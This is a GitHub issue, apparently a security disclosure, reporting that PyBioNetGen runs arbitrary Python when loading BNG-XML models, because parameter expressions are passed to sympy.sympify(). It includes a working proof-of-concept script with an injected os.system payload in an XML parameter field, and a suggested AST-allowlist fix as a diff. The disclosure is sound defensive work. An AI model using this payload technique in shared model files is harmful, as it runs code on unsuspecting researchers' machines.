Skip to content

PyBioNetGen: arbitrary code execution when loading a BNG-XML model, via sympy.sympify() of parameter expressions (CWE-95) #118

Done

Description

@r3vpwnx

Summary

Loading an attacker-supplied BNG-XML model with bionetgen.bngmodel() runs arbitrary Python as the user. Every parameter's expr (or value) attribute is passed to sympy.sympify() to pre-compute a numeric value, and sympify of a string evaluates it with Python eval. A parameter such as expr="__import__('os').system('...') or 1" runs the command while the model loads; the surrounding except Exception: pass swallows any error, so the load still succeeds. Impact is high (code execution); delivery is local and needs the victim to load the model.

Details

bionetgen.bngmodel(path) builds a BNGParser and calls parse_model(). For a path ending in .xml, _parse_model_bngpl (bionetgen/modelapi/bngparser.py:238-244) reads the file and calls parse_xml() directly; BNG2.pl, which validates BNGL expressions, is not involved. ParameterBlockXML.parse_xml() (bionetgen/modelapi/xmlparsers.py:398-420) takes @expr (or @value) verbatim and calls block.add_parameter(name, value), which lands in ParameterBlock.add_item() (bionetgen/modelapi/blocks.py:257-271):

            try:
                import sympy

                if hasattr(value, "value") and isinstance(value.value, str):
                    sval = sympy.sympify(value.value)
                    if sval.is_Number:
                        value.value = str(float(sval))
                    elif sval.is_constant():
                        value.value = str(float(sval.evalf()))
            except Exception:
                pass

sympy.sympify(str) goes through parse_expr, which ends in eval() of the transformed source with builtins reachable; SymPy documents that it must not be used on unsanitized input. The attribute text is fully attacker-controlled. The same call is in ModelBlock.add_item() (blocks.py:192) and in bionetgen/network/blocks.py:183. This evaluation was added in the July 2026 code-health PR (#104), so releases that include it through 0.8.7 and main 28bf351a are affected.

Proof of concept

Benign payload: it runs id and writes a marker file. Only the public loader is used.

import bionetgen

xml = """<?xml version="1.0" encoding="UTF-8"?>
<sbml xmlns="http://www.sbml.org/sbml/level3" level="3" version="1">
  <model id="toy">
    <ListOfParameters>
      <Parameter id="k1" type="Constant" value="1"
                 expr="__import__('os').system('id &gt; /tmp/bionetgen_poc.txt') or 1"/>
    </ListOfParameters>
  </model>
</sbml>
"""
open("evil_model.xml", "w").write(xml)

m = bionetgen.bngmodel("evil_model.xml")   # sympify(expr) runs the command
print("model loaded:", m.model_name)

The model loads normally (model loaded: toy) and /tmp/bionetgen_poc.txt holds the id output. Control: the same file with expr="2*3" loads with k1 = 6.0 and runs nothing. Tested on bionetgen 0.8.7 (PyPI), sympy 1.14.0, Python 3.13, Linux; main 28bf351a has the same code.

Impact

BNG-XML is the serialisation BioNetGen itself writes and that PyBioNetGen accepts as a model. Anyone who loads a model file from a collaborator, a paper's supplementary data, a model repository or a shared directory runs the file author's code with their privileges. Nothing in the file looks out of place to someone who is not reading every parameter expression.

Suggested fix

Do not sympify untrusted strings. Before calling it, check the expression with Python's ast and accept only numbers, plain names, arithmetic operators and a short list of math functions; anything else raises and falls into the existing except, leaving the value as text. The change is a small helper in bionetgen/modelapi/blocks.py used at both call sites there, plus the same change in bionetgen/network/blocks.py:183. A regression test in the model API tests can load an XML model whose parameter carries the PoC expression and assert no side effect.

--- a/bionetgen/modelapi/blocks.py
+++ b/bionetgen/modelapi/blocks.py
@@ -18,6 +18,30 @@
 
 logger = BNGLogger()
 
+_NUMERIC_FUNCS = {"exp", "log", "ln", "log10", "sqrt", "sin", "cos", "tan", "abs", "min", "max"}
+
+
+def _sympify_numeric(text):
+    """sympify() is eval(); only hand it plain arithmetic on names and numbers."""
+    import ast
+    import sympy
+
+    tree = ast.parse(text.replace("^", "**"), mode="eval")
+    for node in ast.walk(tree):
+        if isinstance(node, ast.Call):
+            if not (isinstance(node.func, ast.Name) and node.func.id in _NUMERIC_FUNCS) or node.keywords:
+                raise ValueError(f"unsupported call in expression: {text!r}")
+        elif isinstance(node, ast.Constant):
+            if not isinstance(node.value, (int, float)):
+                raise ValueError(f"non-numeric constant in expression: {text!r}")
+        elif isinstance(node, ast.Name):
+            if node.id.startswith("_"):
+                raise ValueError(f"unsupported name in expression: {text!r}")
+        elif not isinstance(node, (ast.Expression, ast.BinOp, ast.UnaryOp, ast.Load,
+                                   ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.USub, ast.UAdd)):
+            raise ValueError(f"unsupported syntax in expression: {text!r}")
+    return sympy.sympify(text)
+
 
 ###### BLOCK OBJECTS ######
 class ModelBlock:
@@ -189,7 +213,7 @@
             import sympy
 
             if hasattr(value, "value") and isinstance(value.value, str):
-                sval = sympy.sympify(value.value)
+                sval = _sympify_numeric(value.value)
                 if sval.is_Number:
                     value.value = str(float(sval))
                 elif sval.is_constant():
@@ -264,7 +288,7 @@
                 import sympy
 
                 if hasattr(value, "value") and isinstance(value.value, str):
-                    sval = sympy.sympify(value.value)
+                    sval = _sympify_numeric(value.value)
                     if sval.is_Number:
                         value.value = str(float(sval))
                     elif sval.is_constant():

Affected

Credit

Dilanka Kaushal Hewage (r3vpwnx) dilankakaushalhewage@gmail.com

Activity

  1. added a commit that references this issue on Nov 24, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions